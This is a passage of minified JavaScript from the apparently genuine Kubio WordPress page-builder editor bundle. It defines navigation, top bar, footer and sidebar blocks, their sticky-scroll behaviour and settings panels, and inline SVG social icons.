t?{frontendHeaderSlug:n,frontendNavigation:null==r?void 0:r.filter((function(e){return"kubio/navigation"===e.name}))[0]}:{frontendHeaderSlug:"",frontendNavigation:!1}}),[]),u=Object(xe.useMemo)((()=>{const t=e.withParent();return"front_page"!==r&&c!==t.getAttribute("slug")&&!1!==s}),[c,r]),p=()=>{if(!1!==s){var n;let a=Ne.a.cloneDeep(s);a=Object(un.refreshBlockStyleRefs)(a),t(e.clientId,a),o(null===(n=a)||void 0===n?void 0:n.clientId)}};return{frontendNavigation:s,showCopyFrontpage:u,copyNavFromFrontpage:p,onCopyFrontNavigationChange:()=>{p()}}}(c);return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Layout structure","kubio"),className:"kubio-section-layout-panel"},Object(xe.createElement)(He.DataHelperDefaultOptionsContext.Provider,{value:s},u&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Le.Button,{className:"copy-front-navigation",isPrimary:!0,onClick:()=>{p()}},Object(We.__)("Copy front page navigation","kubio")),Object(xe.createElement)(Re.SeparatorHorizontalLine,null)),Object(xe.createElement)(Re.SelectWithIconControl,Object(ut.a)({label:Object(We.__)("Navigation layout","kubio")},o)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.PopoverOptionsButton,{isProOnly:!0,label:Object(We.__)("Stick on scroll","kubio"),toggable:!0,position:"middle right",onToggleChange:a.onChange,enabled:!!a.value,popoverWidth:300,popupContent:Object(xe.createElement)(cm,l),upgradeUrlArgs:{source:"navigation",content:"sticky"}}),Object(xe.createElement)(Re.ToggleControl,Object(ut.a)({label:Object(We.__)("Overlap hero","kubio")},i)),Object(xe.createElement)(Re.ToggleControl,Object(ut.a)({label:Object(We.__)("Show top bar","kubio")},n)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.ToggleGroupWithPath,{options:hb,label:Object(We.__)("Container width","kubio"),type:"prop",path:"width"}),n.value&&Object(xe.createElement)(Re.ToggleGroup,Object(ut.a)({options:hb,label:Object(We.__)("Top bar width","kubio")},r))),Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Navigation padding","kubio"),path:["padding.top","padding.bottom"],type:"style",style:Xp.NAVIGATION_SECTION}))})),pm=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(um,null)),bm=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(Re.BackgroundSection,null));const mm=()=>Object(xe.createElement)(De.InnerBlocks.Content,null),dm=Yo.NAVIGATION,hm=[...yb,...ot];Object(Ae.addFilter)("kubio.rightClickMenu.menuItems",dm,((e,t)=>t===dm?hm:e));const Om={name:"kubio/navigation",title:"Navigation",description:"If you've accidentally removed your navigation, you can re-add a navigation to your page with this block. The navigation block has 5 available layouts.",category:"kubio-layout",attributes:{kubio:{type:"object"},anchor:{type:"string"},attrs:{type:"object"}},supports:{kubio:{elementsEnum:{NAVIGATION_CONTAINER:"outer",NAVIGATION_SECTION:"section"},elementsByName:{outer:{wrapper:!0,props:{className:[]}},section:{ancestor:"sticky",default:!0,selector:".wp-block-kubio-navigation-section__nav"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]},default:{style:{descendants:{section:{animation:{duration:{unit:"s",value:.5}}}}},props:{width:"boxed",verticalAlign:"center",overlap:!1,sticky:!1,stickyStartAt:"immediately",animation:{name:"slideDown"}}}},multiple:!1}},gm=Object(nn.extendBlockMeta)(Om,{title:Object(We.__)("Navigation","kubio"),description:Object(We.__)("If you’ve accidentally removed your navigation, you can re-add a navigation to your page with this block. The navigation block has 5 available layouts.","kubio"),icon:on.BlockIcons.Navigation,apiVersion:2,keywords:[],parent:["kubio/header"],supports:{kubio:{elementsByName:Qp},anchor:!1,reusable:!1,html:!1,multiple:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(pm,null),Object(xe.createElement)(bm,null),Object(xe.createElement)(ob,e))},save:mm,innerBlocksDisableInBetweenInserter:!0}),ym=Object(xe.createContext)({sameLayout:!0}),jm="nav-section",km={["nav"]:{label:Object(We.__)("Navigation","kubio"),supports:{styles:cn.StylesPresetsEnum.ALL,states:cn.StatesPresetsEnum.BASIC,separator:!0}},[jm]:{label:Object(We.__)("Section","kubio"),internal:!0,supports:{styles:cn.StylesPresetsEnum.ALL,states:cn.StatesPresetsEnum.BASIC}}},Em=[Yo.NAVIGATION_ITEMS,Yo.NAVIGATION_STICKY_ITEMS],fm=[Object(He.composeBlockWithStyle)(Yo.NAVIGATION_ITEMS,{attributes:{}})],vm=Object(Me.compose)(Object(Me.createHigherOrderComponent)((e=>t=>{const{clientId:o}=t,{children:n}=Object(Ve.useSelect)((e=>{const{getBlockOrder:t}=e("core/block-editor");return{children:t(o)}})),a=Object(xe.useMemo)((()=>({sameLayout:1===n.length})),[n.length]);return Object(xe.createElement)(ym.Provider,{value:a},Object(xe.createElement)(e,t))})),Object(He.refreshOnParentChange)(),Object(He.withColibriDataAutoSave)(((e,t)=>{const o=e.withParent(),n={ancestor:""},a=o.getProp("stickyStartAt","",n)===ub,l=o.getProp("animation.name","",n),r=o.getStyle("animation.duration.value",0,{media:"desktop",styledComponent:Xp.NAVIGATION_CONTAINER,...n}),i=o.getProp("sticky",!1,n),c=o.getStyle("padding",{styledComponent:Xp.NAVIGATION,ancestor:"sticky"});return{overlap:o.getProp("overlap",!1,n),verticalAlignByMedia:o.getPropByMedia("verticalAlign",{},n),widthType:o.getProp("width",void 0,n),isStickyEnabled:i,enableAnimation:a,duration:r,animationName:l,stickyPadding:c}})),Object(He.withStyledElements)((function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{computed:t={}}=e;return{[jm]:{className:()=>{const{widthType:e=mb.BOXED}=t,o=[];return db[e]&&o.push(db[e]),o}}}})),Object(He.withContainerBase)(),Object(He.withRedirectSelectionToParent)()),_m=vm((e=>{const{StyledElements:t,Separators:o,Background:n,computed:a,dataHelper:l}=e,{enableAnimation:r,animationName:i,duration:c,overlap:s,stickyPadding:u,isStickyEnabled:p}=a,b=l.withParent(),m=$o({},{renderAppender:!1,templateLock:!1,template:fm,allowedBlocks:Em}),{rootClientId:d}=Object(Ve.useSelect)((e=>{const{getBlockRootClientId:t}=e("core/block-editor");return{rootClientId:t(null==l?void 0:l.clientId)}})),h=Object(xe.useRef)();((e,t)=>{const o=Zp(),n=Object(xe.useMemo)((()=>e.current?e.current.closest(`[data-kubio="${yt.NAVIGATION}"]`)?e.current.closest(`[data-kubio="${yt.NAVIGATION}"]`):e.current:null),[e.current]),a=Object(Me.useDebounce)(Object(xe.useCallback)((()=>{if(n){if(n.getAttribute("data-kubio")===yt.NAVIGATION&&n.querySelector(".h-navigation_sticky"))return;const e=n.getBoundingClientRect().height;o("--kubio-navigation-height",e+"px"),o("--kubio-navigation-padding",t?e+"px":"0px")}else o("--kubio-navigation-height","0px"),o("--kubio-navigation-padding","0px")}),[n,t]),100),l=Object(xe.useMemo)((()=>new ResizeObserver(a)),[e.current]);Object(xe.useLayoutEffect)((()=>(n&&l.observe(n,{box:"border-box"}),()=>{n&&l.disconnect(),o("--kubio-navigation-height","0px"),o("--kubio-navigation-padding","0px")})),[n,t])})(h,s);const{sectionOptionsProps:O,containerProps:g}=Cn({menuItems:yb}),{ancestor:y,setAncestor:j}=Object(He.useAncestorContext)(),k=p&&"sticky"===y,E=Object(xe.useMemo)((()=>!!p&&(e=>{let{enableAnimation:t,animationName:o,animationDuration:n}=e;return{prepare:!1,startAfterNode:{enabled:t},animations:{enabled:t,duration:n,name:o}}})({enableAnimation:r,animationName:i,animationDuration:c})),[p,r,i,c]);((e,t)=>{let{ancestor:o,setAncestor:n}=t;const{ownerDocument:a}=Object(He.useOwnerDocumentContext)(),l=Object(xe.useMemo)((()=>{let e;return e=a.isSameNode(top.document)?a.querySelector(".edit-site-visual-editor"):[a.body,a],e}),[a]),r=Object(xe.useMemo)((()=>a.querySelector(".wp-block-kubio-header")),[a]),i=Object(Me.useDebounce)(Object(He.useDeepCallback)((()=>{var t,a,i,c;let s;if(s=Array.isArray(l)?l[0]:l,!s||!o&&!Object(Be.isFunction)(n))return;const u=r&&r.getBoundingClientRect(),p=null!=e&&null!==(t=e.startAfterNode)&&void 0!==t&&t.enabled&&r?r.offsetTop+u.height:0;return((null===(a=s)||void 0===a?void 0:a.scrollTop)||(null===(i=s)||void 0===i||null===(c=i.defaultView)||void 0===c?void 0:c.scrollY))>p?"sticky"!==o&&n("sticky"):""!==o&&n(""),()=>{n("")}}),[l,o,r]),100);Object(xe.useLayoutEffect)((()=>{if(l&&e)return i(),Array.isArray(l)?l.forEach((e=>{e.addEventListener("scroll",i)})):l.addEventListener("scroll",i),()=>{l&&(Array.isArray(l)?l.forEach((e=>{e.removeEventListener("scroll",i)})):l.removeEventListener("scroll",i))}}),[l,e,i])})(E,{ancestor:y,setAncestor:j});let f=[];if(k){const e=[];E.animations.enabled&&e.push(ib.inOutAnimations.byName[E.animations.name].IN),f=f.concat(["h-navigation_sticky"],e)}return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(t.Nav,Object(ut.a)({ref:h},g,{className:$e()(f)}),Object(xe.createElement)(In,Object(ut.a)({},O,{dataHelper:b})),Object(xe.createElement)(Re.TemplatePartOverlay,{templatePart:"header",clientId:d,from:"navigation",isNavigation:!0,initialLockOverlay:!1,isStickyNav:k,stickyPadding:u},Object(xe.createElement)(n,null),Object(xe.createElement)(o,null),Object(xe.createElement)(t.NavSection,m))),Object(xe.createElement)("div",{className:"h-navigation-placeholder"}))}));const Cm={name:"kubio/navigation-section",category:"kubio-layout",attributes:{kubio:{type:"object"}},supports:{kubio:{elementsEnum:{NAVIGATION:"nav",NAVIGATION_SECTION:"nav-section"},elementsByName:{nav:{internal:!0,default:!0,ancestor:"sticky",props:{className:["h-section","h-navigation"]}},"nav-section":{internal:!0,props:{className:["h-section-grid-container h-section-fluid-container"]}}},template:{type:"element",props:{name:"nav"},children:[{type:"element",props:{name:"nav-section"},children:[{type:"wp:InnerBlocks"}]}]}}}},Im=Object(nn.extendBlockMeta)(Cm,{title:Object(We.__)("Navigation Section","kubio"),icon:on.BlockIcons.Section,apiVersion:2,keywords:[],supports:{kubio:{elementsByName:km},anchor:!1,reusable:!1,html:!1,inserter:!1},edit:function(e){return Object(xe.createElement)(_m,e)},save:mm,innerBlocksDisableInBetweenInserter:!0}),Tm=(e,t,o)=>Nn(((e,t)=>Ne.a.merge(e,{props:{internal:{navContent:{type:t}}}}))(t,e),o),Sm=(e,t,o)=>Ne.a.merge(e,{_style:Dn({},t,o)}),wm=e=>Pn({props:{layout:{equalWidth:!1}}},[Tm("logo",Sm({},Wn()),[Pm()]),Tm("spacing",Sm({},Mn(),Mn()),[]),Tm("menu",Sm({},Wn()),[e])]),Pm=()=>Object(He.composeBlockWithStyle)(Yo.LOGO,{attributes:{}}),Am="outer",Bm={[Am]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal","hover"]}}},Nm=Object(Me.compose)(Object(He.refreshOnParentChange)(),Object(He.withColibriDataAutoSave)((e=>{const{ancestor:t}=Object(He.useAncestorContext)(),{sameLayout:o}=Object(xe.useContext)(ym);return{hide:!o&&"sticky"===t}})),Object(He.withStyledElements)(),Object(He.withRedirectSelectionToParent)())((e=>{let{computed:t,StyledElements:o,clientId:n}=e;const{hide:a}=t,l=Object(xe.useMemo)((()=>(()=>{const e=(()=>{const e=Object(He.getBlockDefaultVariation)(Yo.DROPDOWN_MENU);return e?[null==e?void 0:e.name,null==e?void 0:e.attributes,null==e?void 0:e.innerBlocks]:null})();let t=null;return e&&(t=[wm(e)]),t})()),[]),r=Object(xe.useMemo)((()=>l),[n,null==l?void 0:l.length]),i=$o(Object(He.useBlockElementProps)(Am,{style:{display:a?"none":""}}),{templateLock:!1,renderAppender:!1,template:r});return Object(xe.createElement)(o.Outer,i)}));var xm=Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Nm,e))}));const Rm={name:"kubio/navigation-items",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{elementsEnum:{OUTER:"outer"},elementsByName:{outer:{useBlockProps:!1,wrapper:!0,default:!0,props:{"data-nav-normal":"true"}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},Dm=Object(nn.extendBlockMeta)(Rm,{title:Object(We.__)("Navigation Normal Items","kubio"),icon:on.BlockIcons.Section,apiVersion:2,supports:{kubio:{elementsByName:Bm},inserter:!1,reusable:!1,html:!1},edit:xm,save:mm}),Lm=Object(Me.compose)(Object(He.refreshOnParentChange)(),Object(He.withColibriData)(((e,t)=>{const{ancestor:o}=Object(He.useAncestorContext)();return{showSticky:"sticky"===o}})),Object(He.withStyledElements)(),Object(He.withRedirectSelectionToParent)())((e=>{let{computed:t,StyledElements:o,clientId:n}=e;const{showSticky:a}=t,l=Object(xe.useMemo)((()=>[Fn.Default]),[n]),r=$o(Object(He.useBlockElementProps)(Am,{style:{display:a?"":"none"}}),{templateLock:!1,renderAppender:!1,template:l});return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(o.Outer,r))}));var Mm=Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Lm,e))}));const Wm={outer:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal","hover"]}}},Hm={name:"kubio/navigation-sticky-items",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{inseter:!1,kubio:{elementsEnum:{OUTER:"outer"},elementsByName:{outer:{useBlockProps:!1,wrapper:!0,default:!0,props:{"data-nav-sticky":"true"}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},Gm=Object(nn.extendBlockMeta)(Hm,{title:Object(We.__)("Navigation Sticky Items","kubio"),icon:on.BlockIcons.Section,apiVersion:2,supports:{kubio:{elementsByName:Wm},inserter:!1,reusable:!1,html:!1},edit:Mm,save:mm}),Um=Ne.a.merge({},vn.EDIT_LAYOUT,{label:Object(We.__)("Change top bar layout","kubio")}),Fm=Ne.a.merge({},vn.SELECT_BLOCK,{label:Object(We.__)("Top bar settings","kubio")}),zm=[[vn.CHANGE_BACKGROUND,Um],[Fm]],Vm=Nn({attributes:{heroType:"text"}},[]),{Section:Ym}=(Pn({props:{layout:{equalWidth:!0}}},[Vm]),Wa({menuItems:zm})),$m=Object(Me.compose)([Object(He.withComputedData)((e=>{var t;const o=e.useStylePath("customHeight",{styledComponent:ta});return{showContentPosition:!!o.value&&(null==o||null===(t=o.value)||void 0===t?void 0:t.type)!==cn.HeightTypesEnum.FIT_TO_CONTENT,heightProps:o}}))])((e=>{let{computed:t}=e;const{heightProps:o,showContentPosition:n}=t;return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Layout structure","kubio"),className:"kubio-section-layout-panel"},Object(xe.createElement)(Re.SelectControlWithPath,{options:$n,label:Object(We.__)("Container width","kubio"),type:"prop",path:"width"}),Object(xe.createElement)(Re.CustomHeightControl,Object(ut.a)({label:Object(We.__)("Container height","kubio")},o)),n&&Object(xe.createElement)(Re.VerticalAlignControlWithPath,{label:Object(We.__)("Content position","kubio"),path:"verticalAlign",type:"prop"}))})),Km=Object(He.withComputedData)((e=>{}))((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t={unit:"px",value:0};return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Spacing","kubio"),initialOpen:!1},Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Top spacing","kubio"),path:"padding.top",max:200,defaultValue:t,style:ta,type:"style"}),Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Bottom spacing","kubio"),path:"padding.bottom",max:200,defaultValue:t,style:ta,type:"style"}))})),qm=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)($m,null),Object(xe.createElement)(Km,null));const Xm=Yo.NAVIGATION_TOP_BAR,Qm=[...zm,...ot];Object(Ae.addFilter)("kubio.rightClickMenu.menuItems",Xm,((e,t)=>t===Xm?Qm:e));const Zm={name:"kubio/navigation-top-bar",title:"Navigation Top Bar",category:"kubio-layout",attributes:{kubio:{type:"object"},anchor:{type:"string"},attrs:{type:"object"}},supports:{kubio:{elementsEnum:{OUTER:"outer",INNER:"inner",TYPOGRAPHY_HOLDERS:"typographyHolders"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["d-flex"]}},inner:{props:{className:["h-section-grid-container"]}},typographyHolders:{selector:" > *"}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{props:{width:"full-width",verticalAlign:"center"}}}}},Jm=Object(nn.extendBlockMeta)(Zm,{title:Object(We.__)("Top Bar","kubio"),icon:on.BlockIcons.Navigation,keywords:[],parent:[Yo.NAVIGATION],apiVersion:2,supports:{kubio:{elementsByName:na},anchor:!0,reusable:!1,html:!1,multiple:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(qm,null),Object(xe.createElement)(ll,null),Object(xe.createElement)(Ym,e))},save:function(e){return Object(xe.createElement)(De.InnerBlocks.Content,null)}}),ed={Navigation:d,NavigationSection:h,NavigationNormalItems:O,NavigationStickyItems:g,NavigationTopBar:y},td=Object(Me.compose)(Object(He.withColibriData)(),Object(He.withStyledElements)())((e=>{const{StyledElements:t,clientId:o}=e;return Object(xe.createElement)(Re.TemplatePartOverlay,{templatePart:"footer",clientId:o,from:"footer"},Object(xe.createElement)(ai,Object(ut.a)({blockArea:"footer",tagName:t.Container},e)))})),od=Object(He.withComputedData)((e=>({useFooterParallax:e.getProp("useFooterParallax")})))((e=>{let{computed:t}=e;const{useFooterParallax:o}=t,n=Object(xe.createElement)(xe.Fragment,null,o&&Object(xe.createElement)(Re.ControlNotice,{content:Object(We.__)("The footer parallax feature is not visible inside the editor.","kubio")}));return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Ei,{type:"footer",beforeComponent:n}))})),nd=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(od,null)),ad="container",ld={[ad]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER,cn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER],states:cn.StatesPresetsEnum.BASIC},default:!0}};var rd=e=>{const t=Ne.a.get(ld,ad);return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Background","kubio")},Object(xe.createElement)(Re.BackgroundSection,{styledElement:t,showPanelWrapper:!1,dataHelper:e.dataHelper}))};const id=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(rd,null));var cd=Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(He.isKubioEditor)()&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(id,null),Object(xe.createElement)(nd,e)),Object(xe.createElement)(td,e))}));const sd={name:"kubio/footer",title:"Footer",description:"You can replace the default page footer with a custom one using the footer template part. Various footers can be assigned to various pages.",category:"kubio-template-parts",attributes:{postId:{type:"number"},slug:{type:"string"},theme:{type:"string"},kubio:{type:"object"},tagName:{type:"string",default:"div"}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}},__experimentalDisableBlockOverlay:!0}},ud=Object(nn.extendBlockMeta)(sd,{title:Object(We.__)("Footer","kubio"),description:Object(We.__)("You can replace the default page footer with a custom one using the footer template part. Various footers can be assigned to various pages.","kubio"),__experimentalLabel:Dr(/* translators: Display footer name */Object(We.__)("%s (Footer)","kubio")),icon:on.BlockIcons.Footer,keywords:[Object(We.__)("Footer","kubio")],apiVersion:2,supports:{kubio:{elementsByName:ld},reusable:!1,html:!1,multiple:!1},edit:cd}),pd={container:{label:Object(We.__)("Container","kubio"),supports:{styles:[...cn.StylesPresetsEnum.CONTAINER_BASIC,cn.StylesEnum.TEXT_SHADOW],states:cn.StatesPresetsEnum.BASIC,separator:!0},default:!0}},bd=Object(Me.compose)(Object(He.withColibriData)(),Object(He.withStyledElements)())((e=>{const{StyledElements:t,clientId:o}=e;return Object(xe.createElement)(Re.TemplatePartOverlay,{templatePart:"sidebar",clientId:o},Object(xe.createElement)(ai,Object(ut.a)({blockArea:"sidebar",tagName:t.Container},e,{displayAppender:!0})))})),md=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(Ei,{type:"sidebar"}));var dd=Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(He.isKubioEditor)()&&Object(xe.createElement)(md,e),Object(xe.createElement)(bd,e))}));const hd={name:"kubio/sidebar",title:"Sidebar",description:"You can create separate sidebars for web pages, blog, and articles, in order to create different user journeys.",category:"kubio-template-parts",attributes:{postId:{type:"number"},slug:{type:"string"},theme:{type:"string"},kubio:{type:"object"},tagName:{type:"string",default:"div"}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}},__experimentalDisableBlockOverlay:!0}},Od=Object(nn.extendBlockMeta)(hd,{title:Object(We.__)("Sidebar","kubio"),description:Object(We.__)("You can create separate sidebars for web pages, blog, and articles, in order to create different user journeys.","kubio"),__experimentalLabel:Dr(/* translators: Display sidebar name */Object(We.__)("%s (Sidebar)","kubio")),icon:on.BlockIcons.Sidebar,keywords:[Object(We.__)("Sidebar","kubio")],apiVersion:2,supports:{kubio:{elementsByName:pd},reusable:!1,html:!1},edit:dd});var gd=o(182),yd=Object(xe.createElement)(aa.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(xe.createElement)(aa.Path,{d:"M16.5 7.8v7H18v-7c0-1-.8-1.8-1.8-1.8h-7v1.5h7c.2 0 .3.1.3.3zm-8.7 8.7c-.1 0-.2-.1-.2-.2V2H6v4H2v1.5h4v8.8c0 1 .8 1.8 1.8 1.8h8.8v4H18v-4h4v-1.5H7.8z"}));const jd=Object(xe.createElement)(Le.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(xe.createElement)(Le.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zm-6-9.5L16 12l-2.5 2.8 1.1 1L18 12l-3.5-3.5-1 1zm-3 0l-1-1L6 12l3.5 3.8 1.1-1L8 12l2.5-2.5z"})),kd=Object(xe.createElement)(Le.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(xe.createElement)(Le.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zM13.2 7.7c-.4.4-.7 1.1-.7 1.9v3.7c-.4-.3-.8-.4-1.3-.4-1.2 0-2.2 1-2.2 2.2 0 1.2 1 2.2 2.2 2.2.5 0 1-.2 1.4-.5.9-.6 1.4-1.6 1.4-2.6V9.6c0-.4.1-.6.2-.8.3-.3 1-.3 1.6-.3h.2V7h-.2c-.7 0-1.8 0-2.6.7z"})),Ed=Object(xe.createElement)(Le.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(xe.createElement)(Le.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM9.2 4.5H19c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V9.8l4.6-5.3zm9.8 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z"})),fd=Object(xe.createElement)(Le.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(xe.createElement)(Le.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zM10 15l5-3-5-3v6z"})),vd={foreground:"#1da1f2",src:Object(xe.createElement)(Le.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(xe.createElement)(Le.G,null,Object(xe.createElement)(Le.Path,{d:"M22.23 5.924c-.736.326-1.527.547-2.357.646.847-.508 1.498-1.312 1.804-2.27-.793.47-1.67.812-2.606.996C18.325 4.498 17.258 4 16.078 4c-2.266 0-4.103 1.837-4.103 4.103 0 .322.036.635.106.935-3.41-.17-6.433-1.804-8.457-4.287-.353.607-.556 1.312-.556 2.064 0 1.424.724 2.68 1.825 3.415-.673-.022-1.305-.207-1.86-.514v.052c0 1.988 1.415 3.647 3.293 4.023-.344.095-.707.145-1.08.145-.265 0-.522-.026-.773-.074.522 1.63 2.038 2.817 3.833 2.85-1.404 1.1-3.174 1.757-5.096 1.757-.332 0-.66-.02-.98-.057 1.816 1.164 3.973 1.843 6.29 1.843 7.547 0 11.675-6.252 11.675-11.675 0-.178-.004-.355-.012-.53.802-.578 1.497-1.3 2.047-2.124z"})))},_d={foreground:"#ff0000",src:Object(xe.createElement)(Le.SVG,{viewBox:"0 0 24 24"},Object(xe.createElement)(Le.Path,{d:"M21.8 8s-.195-1.377-.795-1.984c-.76-.797-1.613-.8-2.004-.847-2.798-.203-6.996-.203-6.996-.203h-.01s-4.197 0-6.996.202c-.39.046-1.242.05-2.003.846C2.395 6.623 2.2 8 2.2 8S2 9.62 2 11.24v1.517c0 1.618.2 3.237.2 3.237s.195 1.378.795 1.985c.76.797 1.76.77 2.205.855 1.6.153 6.8.2 6.8.2s4.203-.005 7-.208c.392-.047 1.244-.05 2.005-.847.6-.607.795-1.985.795-1.985s.2-1.618.2-3.237v-1.517C22 9.62 21.8 8 21.8 8zM9.935 14.595v-5.62l5.403 2.82-5.403 2.8z"}))},Cd={foreground:"#3b5998",src:Object(xe.createElement)(Le.SVG,{viewBox:"0 0 24 24"},Object(xe.createElement)(Le.Path,{d:"M20 3H4c-.6 0-1 .4-1 1v16c0 .5.4 1 1 1h8.6v-7h-2.3v-2.7h2.3v-2c0-2.3 1.4-3.6 3.5-3.6 1 0 1.8.1 2.1.1v2.4h-1.4c-1.1 0-1.3.5-1.3 1.3v1.7h2.7l-.4 2.8h-2.3v7H20c.5 0 1-.4 1-1V4c0-.6-.4-1-1-1z"}))},Id=Object(xe.createElement)(Le.SVG,{viewBox:"0 0 24 24"},Object(xe.createElement)(Le.G,null,Object(xe.createElement)(Le.Path,{d:"M12 4.622c2.403 0 2.688.01 3.637.052.877.04 1.354.187 1.67.31.42.163.72.358 1.036.673.315.315.51.615.673 1.035.123.317.27.794.31 1.67.043.95.052 1.235.052 3.638s-.01 2.688-.052 3.637c-.04.877-.187 1.354-.31 1.67-.163.42-.358.72-.673 1.036-.315.315-.615.51-1.035.673-.317.123-.794.27-1.67.31-.95.043-1.234.052-3.638.052s-2.688-.01-3.637-.052c-.877-.04-1.354-.187-1.67-.31-.42-.163-.72-.358-1.036-.673-.315-.315-.51-.615-.673-1.035-.123-.317-.27-.794-.31-1.67-.043-.95-.052-1.235-.052-3.638s.01-2.688.052-3.637c.04-.877.187-1.354.31-1.67.163-.42.358-.72.673-1.036.315-.315.615-.51 1.035-.673.317-.123.794-.27 1.67-.31.95-.043 1.235-.052 3.638-.052M12 3c-2.444 0-2.75.01-3.71.054s-1.613.196-2.185.418c-.592.23-1.094.538-1.594 1.04-.5.5-.807 1-1.037 1.593-.223.572-.375 1.226-.42 2.184C3.01 9.25 3 9.555 3 12s.01 2.75.054 3.71.196 1.613.418 2.186c.23.592.538 1.094 1.038 1.594s1.002.808 1.594 1.038c.572.222 1.227.375 2.185.418.96.044 1.266.054 3.71.054s2.75-.01 3.71-.054 1.613-.196 2.186-.418c.592-.23 1.094-.538 1.594-1.038s.808-1.002 1.038-1.594c.222-.572.375-1.227.418-2.185.044-.96.054-1.266.054-3.71s-.01-2.75-.054-3.71-.196-1.613-.418-2.186c-.23-.592-.538-1.094-1.038-1.594s-1.002-.808-1.594-1.038c-.572-.222-1.227-.375-2.185-.418C14.75 3.01 14.445 3 12 3zm0 4.378c-2.552 0-4.622 2.07-4.622 4.622s2.07 4.622 4.622 4.622 4.622-2.07 4.622-4.622S14.552 7.378 12 7.378zM12 15c-1.657 0-3-1.343-3-3s1.343-3 3-3 3 1.343 3 3-1.343 3-3 3zm4.804-8.884c-.596 0-1.08.484-1.08 1.08s.484 1.08 1.08 1.08c.596 0 1.08-.484 